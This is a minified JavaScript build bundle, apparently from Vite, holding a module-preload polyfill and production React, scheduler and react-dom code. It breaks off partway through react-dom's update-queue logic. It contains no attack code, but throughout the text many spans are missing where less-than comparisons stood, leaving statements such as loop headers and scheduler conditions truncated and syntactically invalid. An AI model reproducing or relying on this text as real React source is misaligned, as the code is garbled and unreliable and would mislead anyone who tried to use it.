var F3=Object.defineProperty;var W3=(e,t,n)=>t in e?F3(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var pf=(e,t,n)=>W3(e,typeof t!="symbol"?t+"":t,n);function U3(e,t){for(var n=0;nr[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const a of i)if(a.type==="childList")for(const o of a.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const a={};return i.integrity&&(a.integrity=i.integrity),i.referrerPolicy&&(a.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?a.credentials="include":i.crossOrigin==="anonymous"?a.credentials="omit":a.credentials="same-origin",a}function r(i){if(i.ep)return;i.ep=!0;const a=n(i);fetch(i.href,a)}})();function Cr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var E2={exports:{}},Mu={},A2={exports:{}},ye={};/** * @license React * react.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var $o=Symbol.for("react.element"),V3=Symbol.for("react.portal"),H3=Symbol.for("react.fragment"),K3=Symbol.for("react.strict_mode"),q3=Symbol.for("react.profiler"),Y3=Symbol.for("react.provider"),G3=Symbol.for("react.context"),X3=Symbol.for("react.forward_ref"),Z3=Symbol.for("react.suspense"),Q3=Symbol.for("react.memo"),J3=Symbol.for("react.lazy"),uv=Symbol.iterator;function ez(e){return e===null||typeof e!="object"?null:(e=uv&&e[uv]||e["@@iterator"],typeof e=="function"?e:null)}var _2={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},O2=Object.assign,T2={};function Ja(e,t,n){this.props=e,this.context=t,this.refs=T2,this.updater=n||_2}Ja.prototype.isReactComponent={};Ja.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};Ja.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function M2(){}M2.prototype=Ja.prototype;function ph(e,t,n){this.props=e,this.context=t,this.refs=T2,this.updater=n||_2}var mh=ph.prototype=new M2;mh.constructor=ph;O2(mh,Ja.prototype);mh.isPureReactComponent=!0;var dv=Array.isArray,L2=Object.prototype.hasOwnProperty,hh={current:null},I2={key:!0,ref:!0,__self:!0,__source:!0};function D2(e,t,n){var r,i={},a=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(a=""+t.key),t)L2.call(t,r)&&!I2.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1>>1,G=B[H];if(0>>1;Hi(he,F))pei(Y,he)?(B[H]=Y,B[pe]=F,H=pe):(B[H]=he,B[oe]=F,H=oe);else if(pei(Y,F))B[H]=Y,B[pe]=F,H=pe;else break e}}return U}function i(B,U){var F=B.sortIndex-U.sortIndex;return F!==0?F:B.id-U.id}if(typeof performance=="object"&&typeof performance.now=="function"){var a=performance;e.unstable_now=function(){return a.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,m=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w(B){for(var U=n(u);U!==null;){if(U.callback===null)r(u);else if(U.startTime<=B)r(u),U.sortIndex=U.expirationTime,t(c,U);else break;U=n(u)}}function j(B){if(g=!1,w(B),!x)if(n(c)!==null)x=!0,L(k);else{var U=n(u);U!==null&&W(j,U.startTime-B)}}function k(B,U){x=!1,g&&(g=!1,v(z),z=-1),h=!0;var F=m;try{for(w(U),f=n(c);f!==null&&(!(f.expirationTime>U)||B&&!T());){var H=f.callback;if(typeof H=="function"){f.callback=null,m=f.priorityLevel;var G=H(f.expirationTime<=U);U=e.unstable_now(),typeof G=="function"?f.callback=G:f===n(c)&&r(c),w(U)}else r(c);f=n(c)}if(f!==null)var re=!0;else{var oe=n(u);oe!==null&&W(j,oe.startTime-U),re=!1}return re}finally{f=null,m=F,h=!1}}var S=!1,N=null,z=-1,O=5,_=-1;function T(){return!(e.unstable_now()-_B||125H?(B.sortIndex=F,t(u,B),n(c)===null&&B===n(u)&&(g?(v(z),z=-1):g=!0,W(j,F-H))):(B.sortIndex=G,t(c,B),x||h||(x=!0,L(k))),B},e.unstable_shouldYield=T,e.unstable_wrapCallback=function(B){var U=m;return function(){var F=m;m=U;try{return B.apply(this,arguments)}finally{m=F}}}})(U2);W2.exports=U2;var dz=W2.exports;/** * @license React * react-dom.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var fz=p,an=dz;function Z(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),wp=Object.prototype.hasOwnProperty,pz=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,pv={},mv={};function mz(e){return wp.call(mv,e)?!0:wp.call(pv,e)?!1:pz.test(e)?mv[e]=!0:(pv[e]=!0,!1)}function hz(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function xz(e,t,n,r){if(t===null||typeof t>"u"||hz(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Dt(e,t,n,r,i,a,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=a,this.removeEmptyString=o}var Nt={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Nt[e]=new Dt(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Nt[t]=new Dt(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Nt[e]=new Dt(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Nt[e]=new Dt(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Nt[e]=new Dt(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Nt[e]=new Dt(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Nt[e]=new Dt(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Nt[e]=new Dt(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Nt[e]=new Dt(e,5,!1,e.toLowerCase(),null,!1,!1)});var gh=/[\-:]([a-z])/g;function yh(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(gh,yh);Nt[t]=new Dt(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(gh,yh);Nt[t]=new Dt(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(gh,yh);Nt[t]=new Dt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){Nt[e]=new Dt(e,1,!1,e.toLowerCase(),null,!1,!1)});Nt.xlinkHref=new Dt("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){Nt[e]=new Dt(e,1,!1,e.toLowerCase(),null,!0,!0)});function bh(e,t,n,r){var i=Nt.hasOwnProperty(t)?Nt[t]:null;(i!==null?i.type!==0:r||!(2l||i[o]!==a[l]){var c=` `+i[o].replace(" at new "," at ");return e.displayName&&c.includes("")&&(c=c.replace("",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{xf=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Rs(e):""}function vz(e){switch(e.tag){case 5:return Rs(e.type);case 16:return Rs("Lazy");case 13:return Rs("Suspense");case 19:return Rs("SuspenseList");case 0:case 2:case 15:return e=vf(e.type,!1),e;case 11:return e=vf(e.type.render,!1),e;case 1:return e=vf(e.type,!0),e;default:return""}}function Sp(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case ha:return"Fragment";case ma:return"Portal";case jp:return"Profiler";case wh:return"StrictMode";case kp:return"Suspense";case Np:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case K2:return(e.displayName||"Context")+".Consumer";case H2:return(e._context.displayName||"Context")+".Provider";case jh:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case kh:return t=e.displayName||null,t!==null?t:Sp(e.type)||"Memo";case Br:t=e._payload,e=e._init;try{return Sp(e(t))}catch{}}return null}function gz(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Sp(t);case 8:return t===wh?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function li(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function Y2(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function yz(e){var t=Y2(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,a=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,a.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function fl(e){e._valueTracker||(e._valueTracker=yz(e))}function G2(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=Y2(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function mc(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function zp(e,t){var n=t.checked;return Ke({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function xv(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=li(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function X2(e,t){t=t.checked,t!=null&&bh(e,"checked",t,!1)}function Cp(e,t){X2(e,t);var n=li(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Pp(e,t.type,n):t.hasOwnProperty("defaultValue")&&Pp(e,t.type,li(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function vv(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function Pp(e,t,n){(t!=="number"||mc(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var $s=Array.isArray;function Ea(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i"+t.valueOf().toString()+"",t=pl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function to(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var Hs={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},bz=["Webkit","ms","Moz","O"];Object.keys(Hs).forEach(function(e){bz.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),Hs[t]=Hs[e]})});function ew(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||Hs.hasOwnProperty(e)&&Hs[e]?(""+t).trim():t+"px"}function tw(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,i=ew(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}var wz=Ke({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function _p(e,t){if(t){if(wz[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(Z(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(Z(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(Z(61))}if(t.style!=null&&typeof t.style!="object")throw Error(Z(62))}}function Op(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Tp=null;function Nh(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var Mp=null,Aa=null,_a=null;function bv(e){if(e=Wo(e)){if(typeof Mp!="function")throw Error(Z(280));var t=e.stateNode;t&&(t=$u(t),Mp(e.stateNode,e.type,t))}}function nw(e){Aa?_a?_a.push(e):_a=[e]:Aa=e}function rw(){if(Aa){var e=Aa,t=_a;if(_a=Aa=null,bv(e),t)for(e=0;e>>=0,e===0?32:31-(Oz(e)/Tz|0)|0}var ml=64,hl=4194304;function Bs(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function gc(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,a=e.pingedLanes,o=n&268435455;if(o!==0){var l=o&~i;l!==0?r=Bs(l):(a&=o,a!==0&&(r=Bs(a)))}else o=n&~i,o!==0?r=Bs(o):a!==0&&(r=Bs(a));if(r===0)return 0;if(t!==0&&t!==r&&!(t&i)&&(i=r&-r,a=t&-t,i>=a||i===16&&(a&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0n;n++)t.push(e);return t}function Bo(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-Mn(t),e[t]=n}function Dz(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0=qs),Ev=" ",Av=!1;function kw(e,t){switch(e){case"keyup":return dC.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Nw(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var xa=!1;function pC(e,t){switch(e){case"compositionend":return Nw(t);case"keypress":return t.which!==32?null:(Av=!0,Ev);case"textInput":return e=t.data,e===Ev&&Av?null:e;default:return null}}function mC(e,t){if(xa)return e==="compositionend"||!Oh&&kw(e,t)?(e=ww(),Ql=Eh=Kr=null,xa=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=Mv(n)}}function Pw(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?Pw(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function Ew(){for(var e=window,t=mc();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=mc(e.document)}return t}function Th(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function kC(e){var t=Ew(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&Pw(n.ownerDocument.documentElement,n)){if(r!==null&&Th(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,a=Math.min(r.start,i);r=r.end===void 0?a:Math.min(r.end,i),!e.extend&&a>r&&(i=r,r=a,a=i),i=Lv(n,a);var o=Lv(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),a>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,va=null,Bp=null,Gs=null,Fp=!1;function Iv(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;Fp||va==null||va!==mc(r)||(r=va,"selectionStart"in r&&Th(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),Gs&&oo(Gs,r)||(Gs=r,r=wc(Bp,"onSelect"),0ba||(e.current=qp[ba],qp[ba]=null,ba--)}function Me(e,t){ba++,qp[ba]=e.current,e.current=t}var ci={},Et=mi(ci),Vt=mi(!1),Ui=ci;function $a(e,t){var n=e.type.contextTypes;if(!n)return ci;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},a;for(a in n)i[a]=t[a];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function Ht(e){return e=e.childContextTypes,e!=null}function kc(){De(Vt),De(Et)}function Uv(e,t,n){if(Et.current!==ci)throw Error(Z(168));Me(Et,t),Me(Vt,n)}function Rw(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(Z(108,gz(e)||"Unknown",i));return Ke({},n,r)}function Nc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||ci,Ui=Et.current,Me(Et,e),Me(Vt,Vt.current),!0}function Vv(e,t,n){var r=e.stateNode;if(!r)throw Error(Z(169));n?(e=Rw(e,t,Ui),r.__reactInternalMemoizedMergedChildContext=e,De(Vt),De(Et),Me(Et,e)):De(Vt),Me(Vt,n)}var or=null,Bu=!1,_f=!1;function $w(e){or===null?or=[e]:or.push(e)}function LC(e){Bu=!0,$w(e)}function hi(){if(!_f&&or!==null){_f=!0;var e=0,t=Pe;try{var n=or;for(Pe=1;e>=o,i-=o,cr=1<<32-Mn(t)+i|n<z?(O=N,N=null):O=N.sibling;var _=m(v,N,w[z],j);if(_===null){N===null&&(N=O);break}e&&N&&_.alternate===null&&t(v,N),b=a(_,b,z),S===null?k=_:S.sibling=_,S=_,N=O}if(z===w.length)return n(v,N),Be&&Si(v,z),k;if(N===null){for(;zz?(O=N,N=null):O=N.sibling;var T=m(v,N,_.value,j);if(T===null){N===null&&(N=O);break}e&&N&&T.alternate===null&&t(v,N),b=a(T,b,z),S===null?k=T:S.sibling=T,S=T,N=O}if(_.done)return n(v,N),Be&&Si(v,z),k;if(N===null){for(;!_.done;z++,_=w.next())_=f(v,_.value,j),_!==null&&(b=a(_,b,z),S===null?k=_:S.sibling=_,S=_);return Be&&Si(v,z),k}for(N=r(v,N);!_.done;z++,_=w.next())_=h(N,v,z,_.value,j),_!==null&&(e&&_.alternate!==null&&N.delete(_.key===null?z:_.key),b=a(_,b,z),S===null?k=_:S.sibling=_,S=_);return e&&N.forEach(function(P){return t(v,P)}),Be&&Si(v,z),k}function y(v,b,w,j){if(typeof w=="object"&&w!==null&&w.type===ha&&w.key===null&&(w=w.props.children),typeof w=="object"&&w!==null){switch(w.$$typeof){case dl:e:{for(var k=w.key,S=b;S!==null;){if(S.key===k){if(k=w.type,k===ha){if(S.tag===7){n(v,S.sibling),b=i(S,w.props.children),b.return=v,v=b;break e}}else if(S.elementType===k||typeof k=="object"&&k!==null&&k.$$typeof===Br&&qv(k)===S.type){n(v,S.sibling),b=i(S,w.props),b.ref=ks(v,S,w),b.return=v,v=b;break e}n(v,S);break}else t(v,S);S=S.sibling}w.type===ha?(b=Ri(w.props.children,v.mode,j,w.key),b.return=v,v=b):(j=sc(w.type,w.key,w.props,null,v.mode,j),j.ref=ks(v,b,w),j.return=v,v=j)}return o(v);case ma:e:{for(S=w.key;b!==null;){if(b.key===S)if(b.tag===4&&b.stateNode.containerInfo===w.containerInfo&&b.stateNode.implementation===w.implementation){n(v,b.sibling),b=i(b,w.children||[]),b.return=v,v=b;break e}else{n(v,b);break}else t(v,b);b=b.sibling}b=$f(w,v.mode,j),b.return=v,v=b}return o(v);case Br:return S=w._init,y(v,b,S(w._payload),j)}if($s(w))return x(v,b,w,j);if(gs(w))return g(v,b,w,j);jl(v,w)}return typeof w=="string"&&w!==""||typeof w=="number"?(w=""+w,b!==null&&b.tag===6?(n(v,b.sibling),b=i(b,w),b.return=v,v=b):(n(v,b),b=Rf(w,v.mode,j),b.return=v,v=b),o(v)):n(v,b)}return y}var Fa=Uw(!0),Vw=Uw(!1),Cc=mi(null),Pc=null,ka=null,Dh=null;function Rh(){Dh=ka=Pc=null}function $h(e){var t=Cc.current;De(Cc),e._currentValue=t}function Xp(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function Ta(e,t){Pc=e,Dh=ka=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(Bt=!0),e.firstContext=null)}function bn(e){var t=e._currentValue;if(Dh!==e)if(e={context:e,memoizedValue:t,next:null},ka===null){if(Pc===null)throw Error(Z(308));ka=e,Pc.dependencies={lanes:0,firstContext:e}}else ka=ka.next=e;return t}var Oi=null;function Bh(e){Oi===null?Oi=[e]:Oi.push(e)}function Hw(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,Bh(t)):(n.next=i.next,i.next=n),t.interleaved=n,vr(e,r)}function vr(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var Fr=!1;function Fh(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function Kw(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function pr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function ei(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,be&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,vr(e,n)}return i=r.interleaved,i===null?(t.next=t,Bh(r)):(t.next=i.next,i.next=t),r.interleaved=t,vr(e,n)}function ec(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,zh(e,n)}}function Yv(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,a=null;if(n=n.firstBaseUpdate,n!==null){do{var o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};a===null?i=a=o:a=a.next=o,n=n.next}while(n!==null);a===null?i=a=t:a=a.next=t}else i=a=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:a,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function Ec(e,t,n,r){var i=e.updateQueue;Fr=!1;var a=i.firstBaseUpdate,o=i.lastBaseUpdate,l=i.shared.pending;if(l!==null){i.shared.pending=null;var c=l,u=c.next;c.next=null,o===null?a=u:o.next=u,o=c;var 